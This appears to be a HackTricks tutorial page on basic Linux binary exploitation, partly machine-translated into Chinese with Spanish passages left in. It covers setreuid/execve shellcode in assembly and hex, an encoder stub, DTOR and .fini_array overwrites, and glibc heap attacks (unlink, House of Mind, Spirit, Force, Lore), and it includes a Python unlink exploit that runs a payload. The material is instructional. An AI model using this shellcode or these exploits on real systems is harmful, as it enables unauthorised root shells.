.. | ||
rop-leaking-libc-address | ||
bypassing-canary-and-pie.md | ||
format-strings-template.md | ||
fusion.md | ||
README.md | ||
ret2lib.md | ||
rop-syscall-execv.md |
Linux Exploiting (Basic) (SPA)
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)!
支持HackTricks的其他方式:
- 如果您想在HackTricks中看到您的公司广告或下载PDF格式的HackTricks,请查看订阅计划!
- 获取官方PEASS & HackTricks周边产品
- 探索PEASS家族,我们的独家NFTs收藏品
- 加入 💬 Discord群组 或 电报群组 或在Twitter上关注我们 🐦 @hacktricks_live。
- 通过向HackTricks和HackTricks Cloud github仓库提交PR来分享您的黑客技巧。
2.SHELLCODE
View kernel interrupts: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”
setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1
xor eax, eax ; clear eax
xor ebx, ebx ; ebx = 0 as there are no arguments to pass
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Execute syscall
nasm -f elf assembly.asm —> Returns a .o file
ld assembly.o -o shellcodeout —> Generates an executable with the assembly code and we can extract the opcodes with objdump
objdump -d -Mintel ./shellcodeout —> To verify that it is indeed our shellcode and extract the OpCodes
Verify that the shellcode works
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
为了确保系统调用被正确执行,应编译前一个程序并在strace ./COMPILADO_程序中查看系统调用。
在创建shellcode时,可以使用一个技巧。第一条指令是跳转到一个调用。该调用会调用原始代码,并将EIP放入堆栈。在call指令之后,我们已经放入了所需的字符串,因此可以使用该EIP指向字符串,并继续执行代码。
EJ TRICK (/bin/sh):
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
使用堆栈(/bin/sh)的简单ESP:
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
EJ FNSTENV:
EJ FNSTENV:
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
…
Egg Hunter:
这是一小段代码,用于遍历与进程关联的内存页面,以寻找其中存储的shellcode(查找shellcode中的某个签名)。在只有少量空间用于注入代码的情况下非常有用。
多态Shellcode
这些是加密的shellcode,其中包含一小段代码用于解密并跳转到它,使用Call-Pop技巧,这是一个凯撒加密的示例:
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
5.补充方法
Ret2Ret
适用于无法将堆栈地址放入EIP(检查EIP不包含0xbf)或无法计算shellcode位置的情况。但是,易受攻击的函数接受一个参数(shellcode将放在这里)。
因此,通过将EIP更改为ret地址,将加载下一个地址(即函数的第一个参数的地址)。换句话说,将加载shellcode。
Exploit示例:SHELLCODE +填充(直到EIP)+ &ret(堆栈的下几个字节指向shellcode的开头,因为将参数传递给堆栈中)
似乎像strncpy这样的函数一旦完成,就会从堆栈中删除存储shellcode的地址,从而使这种技术无法实现。换句话说,传递给函数的参数地址(存储shellcode的地址)被0x00修改,因此在调用第二个ret时会遇到0x00,程序将终止。
Murat技术
在Linux中,所有程序都从0xbfffffff开始映射
通过查看Linux中新进程堆栈的构建方式,可以开发一种利用程序在仅有shellcode变量的环境中启动的方法。因此,其地址可以计算为:addr = 0xbfffffff - 4 - strlen(FULL_EXECUTABLE_NAME) - strlen(shellcode)
这样,可以轻松获得包含shellcode的环境变量的地址。
这是因为execle函数允许创建仅包含所需环境变量的环境
整数溢出
当变量无法处理传递给它的如此大的数字时,就会发生这种类型的溢出,可能是由于有符号和无符号变量之间的混淆,例如:
#include <stdion.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char *argv[]){
int len;
unsigned int l;
char buffer[256];
int i;
len = l = strtoul(argv[1], NULL, 10);
printf("\nL = %u\n", l);
printf("\nLEN = %d\n", len);
if (len >= 256){
printf("\nLongitus excesiva\n");
exit(1);
}
if(strlen(argv[2]) < l)
strcpy(buffer, argv[2]);
else
printf("\nIntento de hack\n");
return 0;
}
在上面的示例中,我们可以看到程序期望接收2个参数。第一个是下一个字符串的长度,第二个是字符串本身。
如果我们将第一个参数设为负数,将会显示 len < 256,我们会通过这个过滤器,并且 strlen(buffer) 也会小于 l,因为 l 是无符号整数,会非常大。
这种溢出类型并不是为了在程序进程中写入内容,而是为了绕过设计不良的过滤器以利用其他漏洞。
未初始化的变量
未初始化的变量可能会取得意想不到的值,观察这一点可能会很有趣。它可能会取决于前一个函数中某个变量的值,而这个变量可能会受到攻击者的控制。
.fini_array
本质上,这是一个包含在程序结束前将被调用的函数的结构。如果你可以通过跳转到一个地址来调用你的 shellcode,或者在需要再次返回到主函数以便第二次利用格式化字符串漏洞时,这就变得很有趣。
objdump -s -j .fini_array ./greeting
./greeting: file format elf32-i386
Contents of section .fini_array:
8049934 a0850408
#Put your address in 0x8049934
请注意,这不会创建一个永久循环,因为当你回到主函数时,canary会注意到,栈的末尾可能已经被破坏,函数不会再次被调用。因此,通过这种方法,你将能够多执行一次漏洞。
格式化字符串以转储内容
格式化字符串也可以被滥用来从程序内存中转储内容。
例如,在以下情况下,栈中有一个指向标志的本地变量。如果你找到内存中指向标志的指针在哪里,你可以使printf访问该地址并打印标志:
所以,标志在0xffffcf4c
从泄漏中,你可以看到指向标志的指针在第8个参数中:
因此,访问第8个参数,你可以获得标志:
请注意,根据先前的利用并意识到你可以泄漏内容,你可以将指针设置到printf
加载的可执行部分并将其完全转储!
DTOR
{% hint style="danger" %} 现在很少见到带有dtor部分的二进制文件。 {% endhint %}
析构函数是在程序结束之前执行的函数。
如果你设法将一个shellcode的地址写入__DTOR_END__
,那么在程序结束之前将执行它。
获取此部分的地址:
objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”
通常你会在值ffffffff
和00000000
之间找到DTOR部分。因此,如果你只看到这些值,这意味着没有任何函数注册。因此,覆盖00000000
的地址以执行shellcode。
格式化字符串到缓冲区溢出
sprintf将格式化字符串移动到一个变量。因此,你可以滥用字符串的格式来导致变量中的缓冲区溢出。
例如,有效载荷%.44xAAAA
将在变量中写入44B+"AAAA",这可能会导致缓冲区溢出。
__atexit 结构
{% hint style="danger" %} 现在很奇怪去利用这个。 {% endhint %}
atexit()
是一个函数,其他函数作为参数传递给它。这些函数将在执行**exit()
或main的返回时执行。
如果你可以修改其中任何一个函数的地址**,使其指向一个shellcode,那么你将控制这个进程,但目前这更加复杂。
目前要执行的函数的地址被隐藏在几个结构后面,最终指向的地址不是函数的地址,而是用XOR加密和随机密钥进行位移。因此,目前这种攻击方式在至少在x86和x64_86上不太有用。
加密函数是**PTR_MANGLE
。其他架构,如m68k、mips32、mips64、aarch64、arm、hppa...不实现加密函数,因为它返回与输入相同**的值。因此,这些架构可以通过这种方式受到攻击。
setjmp() 和 longjmp()
{% hint style="danger" %} 现在很奇怪去利用这个。 {% endhint %}
Setjmp()
允许保存上下文(寄存器)
longjmp()
允许恢复上下文。
保存的寄存器是:EBX, ESI, EDI, ESP, EIP, EBP
问题在于EIP和ESP通过**PTR_MANGLE
函数传递,因此易受攻击的架构与上述相同**。
它们对错误恢复或中断很有用。
但根据我所了解,其他寄存器没有受到保护,因此如果在被调用的函数内部有call ebx
、call esi
或call edi
,就可以接管控制权。或者还可以修改EBP以修改ESP。
VTable 和 VPTR 在 C++ 中
每个类都有一个Vtable,它是一个指向方法的数组。
每个类的对象都有一个VPtr,它是指向其类数组的指针。VPtr是每个对象头的一部分,因此如果覆盖了VPtr,它可以被修改指向一个虚拟方法,这样执行函数就会转到shellcode。
预防措施和规避
替换 Libsafe
通过以下方式激活:LD_PRELOAD=/lib/libsafe.so.2
或
“/lib/libsave.so.2” > /etc/ld.so.preload
它会将对一些不安全函数的调用拦截并替换为安全函数。这不是标准化的(仅适用于x86,不适用于使用-fomit-frame-pointer编译,不适用于静态编译,不是所有易受攻击的函数都变得安全,LD_PRELOAD在具有suid权限的二进制文件中无效)。
ASCII 装甲地址空间
将共享库加载到0x00000000至0x00ffffff,以便始终存在一个字节0x00。然而,这实际上几乎无法阻止任何攻击,尤其是在小端系统中。
ret2plt
通过ROP调用plt中的strcpy函数,并指向GOT的入口,将要调用的函数(system())的第一个字节复制过来。然后重复这个过程,指向GOT+1,并复制system()的第二个字节... 最后调用GOT中保存的地址,这将是system()。
使用 chroot() 创建牢笼
debootstrap -arch=i386 hardy /home/user —> 在特定子目录下安装基本系统
管理员可以通过以下方式离开这些牢笼:mkdir foo; chroot foo; cd ..
代码插桩
Valgrind —> 检查错误
Memcheck
RAD(Return Address Defender)
Insure++
shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno
shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
prev_size = pack("<I”, 0xfffffff0) #Interesa que el bit que indica que el anterior trozo está libre esté a 1
fake_size = pack("<I”, 0xfffffffc) #-4, para que piense que el “size” del 3º trozo está 4bytes detrás (apunta a prev_size) pues es ahí donde mira si el 2º trozo está libre
addr_sc = pack("<I", 0x0804a008 + 8) #En el payload al principio le vamos a poner 8bytes de relleno
got_free = pack("<I", 0x08048300 - 12) #Dirección de free() en la plt-12 (será la dirección que se sobrescrita para que se lanza la shellcode la 2º vez que se llame a free)
payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) # Como se dijo el payload comienza con 8 bytes de relleno porque sí
payload += prev_size + fake_size + got_free + addr_sc #Se modifica el 2º trozo, el got_free apunta a donde vamos a guardar la direccion addr_sc + 12
os.system("./8.3.o " + payload)
unset() liberando en sentido inverso (wargame)
Estamos controlando 3 chunks consecutivos y se liberan en orden inverso al reservado.
En ese caso:
En el chunck c se pone el shellcode
El chunck a lo usamos para sobreescribir el b de forma que el el size tenga el bit PREV_INUSE desactivado de forma que piense que el chunck a está libre.
Además, se sobreescribe en la cabecera b el size para que valga -4.
Entonces, el programa se pensará que “a” está libre y en un bin, por lo que llamará a unlink() para desenlazarlo. Sin embargo, como la cabecera PREV_SIZE vale -4. Se pensará que el trozo de “a” realmente empieza en b+4. Es decir, hará un unlink() a un trozo que comienza en b+4, por lo que en b+12 estará el puntero “fd” y en b+16 estará el puntero “bk”.
De esta forma, si en bk ponemos la dirección a la shellcode y en fd ponemos la dirección a la función “puts()”-12 tenemos nuestro payload.
Técnica de Frontlink
Se llama a frontlink cuando se libera algo y ninguno de sus trozos contiguos no son libres, no se llama a unlink() sino que se llama directamente a frontlink().
Vulnerabilidad útil cuando el malloc que se ataca nunca es liberado (free()).
Necesita:
Un buffer que pueda desbordarse con la función de entrada de datos
Un buffer contiguo a este que debe ser liberado y al que se le modificará el campo fd de su cabecera gracias al desbordamiento del buffer anterior
Un buffer a liberar con un tamaño mayor a 512 pero menor que el buffer anterior
Un buffer declarado antes del paso 3 que permita sobreescribir el prev_size de este
De esta forma logrando sobres cribar en dos mallocs de forma descontrolada y en uno de forma controlada pero que solo se libera ese uno, podemos hacer un exploit.
Vulnerabilidad double free()
Si se llama dos veces a free() con el mismo puntero, quedan dos bins apuntando a la misma dirección.
En caso de querer volver a usar uno se asignaría sin problemas. En caso de querer usar otro, se le asignaría el mismo espacio por lo que tendríamos los punteros “fd” y “bk” falseados con los datos que escribirá la reserva anterior.
After free()
Un puntero previamente liberado es usado de nuevo sin control.
8 Heap Overflows: Exploits avanzados
Las técnicas de Unlink() y FrontLink() fueron eliminadas al modificar la función unlink().
The house of mind
Solo una llamada a free() es necesaria para provocar la ejecución de código arbitrario. Interesa buscar un segundo trozo que puede ser desbordado por uno anterior y liberado.
Una llamada a free() provoca llamar a public_fREe(mem), este hace:
mstate ar_ptr;
mchunkptr p;
…
p = mem2chunk(mes); —> Devuelve un puntero a la dirección donde comienza el trozo (mem-8)
…
ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]
…
_int_free(ar_ptr, mem);
}
En [1] comprueba el campo size el bit NON_MAIN_ARENA, el cual se puede alterar para que la comprobación devuelva true y ejecute heap_for_ptr() que hace un and a “mem” dejando a 0 los 2.5 bytes menos importantes (en nuestro caso de 0x0804a000 deja 0x08000000) y accede a 0x08000000->ar_ptr (como si fuese un struct heap_info)
De esta forma si podemos controlar un trozo por ejemplo en 0x0804a000 y se va a liberar un trozo en 0x081002a0 podemos llegar a la dirección 0x08100000 y escribir lo que queramos, por ejemplo 0x0804a000. Cuando este segundo trozo se libere se encontrará que heap_for_ptr(ptr)->ar_ptr devuelve lo que hemos escrito en 0x08100000 (pues se aplica a 0x081002a0 el and que vimos antes y de ahí se saca el valor de los 4 primeros bytes, el ar_ptr)
De esta forma se llama a _int_free(ar_ptr, mem), es decir, _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){
…
bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;
..}
Como hemos visto antes podemos controlar el valor de av, pues es lo que escribimos en el trozo que se va a liberar.
Tal y como se define unsorted_chunks, sabemos que:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;
Por lo tanto si en av->bins[2] escribimos el valor de __DTOR_END__-12 en la última instrucción se escribirá en __DTOR_END__ la dirección del segundo trozo.
Es decir, en el primer trozo tenemos que poner al inicio muchas veces la dirección de __DTOR_END__-12 porque de ahí la sacará av->bins[2]
En la dirección que caiga la dirección del segundo trozo con los últimos 5 ceros hay que escribir la dirección a este primer trozo para que heap_for_ptr() piense que el ar_ptr está al inicio del primer trozo y saque de ahí el av->bins[2]
En el segundo trozo y gracias al primero sobreescribimos el prev_size con un jump 0x0c y el size con algo para activar -> NON_MAIN_ARENA
A continuación en el trozo 2 ponemos un montón de nops y finalmente la shellcode
De esta forma se llamará a _int_free(TROZO1, TROZO2) y seguirá las instrucciones para escribir en __DTOR_END__ la dirección del prev_size del TROZO2 el cual saltará a la shellcode. 为了应用这种技术,需要满足一些要求,这些要求会使 payload 变得更加复杂。
这种技术已不适用,因为几乎与 unlink 应用了相同的补丁。它会比较新指向的站点是否也指向它。
Fastbin
这是 The house of mind 的一个变体
我们希望执行以下代码,这需要通过 _int_free() 函数的第一个检查后才能到达:
fb = &(av->fastbins[fastbin_index(size)] —> 其中 fastbin_index(sz) —> (sz >> 3) - 2
…
p->fd = *fb
*fb = p
这样,如果将“fb”设置为指向 GOT 中的一个函数的地址,然后在这个地址上放置被覆盖的块的地址。为此,需要使堆区域接近 dtors 的地址。更准确地说,av->max_fast 必须位于我们将要覆盖的地址处。
由于 The House of Mind 中我们发现我们控制了 av 的位置。
因此,如果在 size 字段中放入一个大小为 8 + NON_MAIN_ARENA + PREV_INUSE 的值,fastbin_index() 将返回 fastbins[-1],它将指向 av->max_fast。
在这种情况下,av->max_fast 将是被覆盖的地址(不是指向的地址,而是被覆盖的位置)。
此外,释放的相邻块的大小必须大于 8 -> 因为我们已经说过释放块的大小为 8,在这个虚假块中,我们只需要放置一个大于 8 的大小(由于 shellcode 将放在释放的块中,因此需要在开头放置一个跳转到 nops 的 jmp)。
此外,这个虚假块的大小必须小于 av->system_mem。av->system_mem 位于该位置的后面 1848 字节。
由于 _DTOR_END_ 中的空值和 GOT 中的少量地址,这些部分的任何地址都不适合被覆盖,因此让我们看看如何应用 fastbin 来攻击堆栈。
另一种攻击方式是将 av 重定向到堆栈。
如果我们将 size 修改为 16 而不是 8,则 fastbin_index() 将返回 fastbins[0],我们可以利用这一点来覆盖堆栈。
为此,堆栈中不应该有任何 canary 或奇怪的值,实际上我们必须处于这种情况下:4 个空字节 + EBP + RET
需要这 4 个空字节是因为 av 将指向这个地址,而 av 的第一个元素是必须为 0 的 mutex。
av->max_fast 将是 EBP,并且将是一个值,可用于绕过限制。
av->fastbins[0] 将被覆盖为 p 的地址,并且将成为 RET,从而跳转到 shellcode。
此外,在 av->system_mem(比堆栈位置高出 1484 字节)将有足够的垃圾,可帮助我们绕过执行的检查。
此外,释放的相邻块的大小必须大于 8 -> 因为我们已经说过释放块的大小为 16,在这个虚假块中,我们只需要放置一个大于 8 的大小(由于 shellcode 将放在释放的块中,因此需要在开头放置一个跳转到新虚假块的大小字段后的 nops)。
The House of Spirit
在这种情况下,我们希望有一个指向 malloc 的指针,该指针可以被攻击者修改(例如,该指针位于堆栈上,可能会发生变量溢出)。
因此,我们可以使该指针指向任何地方。然而,并非所有位置都是有效的,虚假块的大小必须小于 av->max_fast,并且更具体地等于未来对 malloc() 的调用请求的大小加 8。因此,如果我们知道在这个易受攻击的指针之后会调用 malloc(40),那么虚假块的大小必须等于 48。
例如,如果程序要求用户输入一个数字,我们可以输入 48,并将可修改的 malloc 指针指向接下来的 4 个字节(可能属于 EBP,这样 48 就会留在后面,就像是大小字段)。此外,地址 ptr-4+48 必须满足几个条件(在这种情况下 ptr=EBP),即 8 < ptr-4+48 < av->system_mem。
如果这些条件满足,当调用我们说过的下一个 malloc,即 malloc(40) 时,它将把 EBP 的地址分配为地址。如果攻击者还可以控制在此 malloc 中写入的内容,那么可以覆盖 EBP 和 EIP,使其指向任意地址。
我认为这是因为这样,当调用 free() 时,它将保存指向堆栈 EBP 的地址上有一个完美大小的新 malloc() 块,因此将分配该地址。
The House of Force
需要:
- 一个允许覆盖 wilderness 的块的溢出
- 使用用户定义大小的 malloc() 调用
- malloc() 调用的数据可以由用户定义
首先要做的是用一个非常大的值(0xffffffff)覆盖 wilderness 块的大小(size),这样任何足够大的内存请求都将在不需要扩展堆的情况下在 _int_malloc() 中处理。
其次是修改 av->top,使其指向攻击者控制的内存区域,如堆栈。在 av->top 中,将放置 &EIP - 8。
我们必须覆盖 av->top,使其指向攻击者控制的内存区域:
victim = av->top;
remainder = chunck_at_offset(victim, nb);
av->top = remainder;
Victim 获取当前 wilderness 块的地址(当前 av->top)的值,remainder 正好是该地址加上 malloc() 请求的字节数。因此,如果 &EIP-8 在 0xbffff224,av->top 包含 0x080c2788,则为了使 av->top 指向 $EIP-8 以供下一个 malloc() 使用,需要在受控制的 malloc 中保留的数量为:
0xbffff224 - 0x080c2788 = 3086207644。
这样就保存了修改后的 av->top 值,下一个 malloc 将指向 EIP,并且可以被覆盖。
重要的是要确保新 wilderness 块的大小大于最后一个 malloc() 请求的大小。也就是说,如果 wilderness 指向 &EIP-8,则大小将正好位于堆栈的 EBP 字段中。
The House of Lore
SmallBin 损坏
释放的块根据其大小放入 bin 中。但在放入之前,它们会被保存在 unsorted bins 中。释放块不会立即放入其 bin 中,而是留在 unsorted bins 中。然后,如果分配新块并且先前释放的块可以满足需求,则将其返回,但如果分配更大的块,则将 unsorted bins 中的释放块放入适当的 bin 中。
要达到易受攻击的代码,内存请求必须大于 av->max_fast(通常为 72)且小于 MIN_LARGE_SIZE(512)。
如果 bin 中有一个大小适合请求的块,则在解除链接后返回该块:
bck = victim->bk; 指向前一个块,这是我们唯一可以修改的信息。
bin->bk = bck; 倒数第二个块变为最后一个块,如果 bck 指向堆栈,则下一个分配的块将指向该地址
bck->fd = bin; 关闭列表,使其指向 bin
需要:
基本的堆溢出攻击
- 预留两个
malloc
,第一个可以在第二个被释放并进入其 bin 后进行溢出(即在溢出之前分配一个比第二个块更大的malloc
) - 攻击者控制分配给其选择地址的
malloc
的地址 - 目标是通过溢出一个堆,该堆下面有一个已经被释放并在其 bin 中的块,可以修改其指针
bk
。如果修改了bk
指针,并且该块成为 bin 列表中的第一个块并被分配,则 bin 将被欺骗,并告诉下一个要提供的块位于我们设置的虚假地址(例如堆栈或 GOT)。因此,如果再次分配另一个块并且攻击者有权限,则将在所需位置给出一个块,并且可以在其中写入。
大型 Bin 破坏
- 需要与之前相同的要求以及更多要求,此外,分配的块大小必须大于 512
- 攻击类似于之前的攻击,即需要修改
bk
指针并进行所有这些malloc()
调用,但还需要修改已修改块的大小,使得size - nb
小于MINSIZE
- 例如,将大小设置为 1552,使得 1552 - 1544 = 8 < MINSIZE(减法不能为负,因为它比较的是无符号数)
堆喷射
- 基本上是预留尽可能多的堆内存,并用一段 shellcode 结尾的 nop 垫填充这些内存。此外,将 0x0c 用作垫。因此,将尝试跳转到地址 0x0c0c0c0c,因此,如果覆盖了将要调用的任何地址,它将跳转到那里。基本上策略是尽可能多地预留内存,以查看是否覆盖了任何指针,并跳转到 0x0c0c0c0c,希望那里有 nop。
堆风水
- 通过预留和释放来巩固内存,使得在空闲块之间留下已分配的块。要溢出的缓冲区将位于其中一个空闲块中。